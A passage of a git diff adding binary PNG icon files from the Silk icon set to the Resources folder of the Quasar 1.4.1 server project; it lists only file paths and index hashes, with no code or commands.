0000000..9a70c34 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_empty.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_empty.png new file mode 100755 index 0000000..abd2b9b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_empty.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_error.png new file mode 100755 index 0000000..d41d90d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_go.png new file mode 100755 index 0000000..27c63c5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_key.png new file mode 100755 index 0000000..667086c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_link.png new file mode 100755 index 0000000..42dca74 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_save.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_save.png new file mode 100755 index 0000000..777fb5d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_save.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pictures.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pictures.png new file mode 100755 index 0000000..d9591c1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pictures.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pilcrow.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pilcrow.png new file mode 100755 index 0000000..f50eb12 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pilcrow.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill.png new file mode 100755 index 0000000..f2bdef6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_add.png new file mode 100755 index 0000000..ac9c2df Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_delete.png new file mode 100755 index 0000000..c61592e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_go.png new file mode 100755 index 0000000..e5c07d4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin.png new file mode 100755 index 0000000..6187b15 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_add.png new file mode 100755 index 0000000..ae43690 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_delete.png new file mode 100755 index 0000000..d9c3376 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_disabled.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_disabled.png new file mode 100755 index 0000000..f4f6be5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_disabled.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_edit.png new file mode 100755 index 0000000..b6cb0ec Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_error.png new file mode 100755 index 0000000..cff65d7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_go.png new file mode 100755 index 0000000..41da991 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_link.png new file mode 100755 index 0000000..445c188 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer.png new file mode 100755 index 0000000..a350d18 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_add.png new file mode 100755 index 0000000..d228d05 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_delete.png new file mode 100755 index 0000000..1d8605f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_empty.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_empty.png new file mode 100755 index 0000000..94e8c16 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_empty.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_error.png new file mode 100755 index 0000000..279ebb0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/rainbow.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rainbow.png new file mode 100755 index 0000000..36feb6a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rainbow.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report.png new file mode 100755 index 0000000..e46691b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_add.png new file mode 100755 index 0000000..80def93 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_delete.png new file mode 100755 index 0000000..c541dfa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_disk.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_disk.png new file mode 100755 index 0000000..1c856cd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_disk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_edit.png new file mode 100755 index 0000000..c61a6d8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_go.png new file mode 100755 index 0000000..f35a979 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_key.png new file mode 100755 index 0000000..90b758e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_link.png new file mode 100755 index 0000000..23f2611 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_magnify.png new file mode 100755 index 0000000..aeaa889 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_magnify.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_picture.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_picture.png new file mode 100755 index 0000000..3a9a7e5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_picture.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_user.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_user.png new file mode 100755 index 0000000..7766edd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_user.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_word.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_word.png new file mode 100755 index 0000000..9951342 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_word.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_first.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_first.png new file mode 100755 index 0000000..b03eaf8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_first.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_last.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_last.png new file mode 100755 index 0000000..8ec8947 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_last.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_next.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_next.png new file mode 100755 index 0000000..37336a9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_next.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_previous.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_previous.png new file mode 100755 index 0000000..de5dad4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_previous.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/rosette.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rosette.png new file mode 100755 index 0000000..f233bc7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rosette.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss.png new file mode 100755 index 0000000..1dc6ff3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_add.png new file mode 100755 index 0000000..b590beb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_delete.png new file mode 100755 index 0000000..9deb738 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_go.png new file mode 100755 index 0000000..43a86bf Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_valid.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_valid.png new file mode 100755 index 0000000..a6d0b0e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_valid.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby.png new file mode 100755 index 0000000..f763a16 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_add.png new file mode 100755 index 0000000..a2cd648 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_delete.png new file mode 100755 index 0000000..3002263 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_gear.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_gear.png new file mode 100755 index 0000000..4a10590 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_gear.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_get.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_get.png new file mode 100755 index 0000000..f5203c7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_get.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_go.png new file mode 100755 index 0000000..d8d276e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_key.png new file mode 100755 index 0000000..451cfeb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_link.png new file mode 100755 index 0000000..bf4be52 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_put.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_put.png new file mode 100755 index 0000000..e026323 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_put.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script.png new file mode 100755 index 0000000..0f9ed4d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_add.png new file mode 100755 index 0000000..d650552 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_code.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_code.png new file mode 100755 index 0000000..63fe6ce Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_code.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_code_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_code_red.png new file mode 100755 index 0000000..8fcf0f0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_code_red.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_delete.png new file mode 100755 index 0000000..e6500ce Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_edit.png new file mode 100755 index 0000000..b4d31ce Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_error.png new file mode 100755 index 0000000..0491954 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_gear.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_gear.png new file mode 100755 index 0000000..56fcf84 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_gear.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_go.png new file mode 100755 index 0000000..8e154e2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_key.png new file mode 100755 index 0000000..49bb24d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_lightning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_lightning.png new file mode 100755 index 0000000..b3fa18c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_lightning.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_link.png new file mode 100755 index 0000000..bdeb985 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_palette.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_palette.png new file mode 100755 index 0000000..6d46962 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_palette.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_save.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_save.png new file mode 100755 index 0000000..36216d8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/script_save.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server.png new file mode 100755 index 0000000..720a237 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_add.png new file mode 100755 index 0000000..3f10a3a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_chart.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_chart.png new file mode 100755 index 0000000..1128d3f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_chart.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_compressed.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_compressed.png new file mode 100755 index 0000000..bf49fad Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_compressed.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_connect.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_connect.png new file mode 100755 index 0000000..49b2691 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_connect.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_database.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_database.png new file mode 100755 index 0000000..b24e826 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_database.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_delete.png new file mode 100755 index 0000000..61e740f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_edit.png new file mode 100755 index 0000000..dc76253 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_error.png new file mode 100755 index 0000000..f640256 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_go.png new file mode 100755 index 0000000..540c8e2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_key.png new file mode 100755 index 0000000..ecd5174 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_lightning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_lightning.png new file mode 100755 index 0000000..b0f4e46 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_lightning.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_link.png new file mode 100755 index 0000000..e8821df Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_uncompressed.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_uncompressed.png new file mode 100755 index 0000000..86e8325 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_uncompressed.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shading.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shading.png new file mode 100755 index 0000000..09275f9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shading.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_bottom.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_bottom.png new file mode 100755 index 0000000..55d2694 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_bottom.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_center.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_center.png new file mode 100755 index 0000000..efe9a98 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_center.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_left.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_left.png new file mode 100755 index 0000000..aaedc41 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_left.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_middle.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_middle.png new file mode 100755 index 0000000..d350dd8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_middle.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_right.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_right.png new file mode 100755 index 0000000..ff556b6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_right.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_top.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_top.png new file mode 100755 index 0000000..1181b43 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_top.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_flip_horizontal.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_flip_horizontal.png new file mode 100755 index 0000000..8667c81 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_flip_horizontal.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_flip_vertical.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_flip_vertical.png new file mode 100755 index 0000000..0bd66d1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_flip_vertical.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_group.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_group.png new file mode 100755 index 0000000..bb2ff51 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_group.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_handles.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_handles.png new file mode 100755 index 0000000..ce27fe3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_handles.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_back.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_back.png new file mode 100755 index 0000000..a216ffd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_back.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_backwards.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_backwards.png new file mode 100755 index 0000000..ee3f9b2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_backwards.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_forwards.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_forwards.png new file mode 100755 index 0000000..cfe4493 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_forwards.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_front.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_front.png new file mode 100755 index 0000000..b4a4e3b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_front.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_rotate_anticlockwise.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_rotate_anticlockwise.png new file mode 100755 index 0000000..07a3020 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_rotate_anticlockwise.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_rotate_clockwise.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_rotate_clockwise.png new file mode 100755 index 0000000..b99db7d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_rotate_clockwise.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square.png new file mode 100755 index 0000000..33af046 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_add.png new file mode 100755 index 0000000..31edfce Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_delete.png new file mode 100755 index 0000000..ede912d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_delete.png differ diff --git 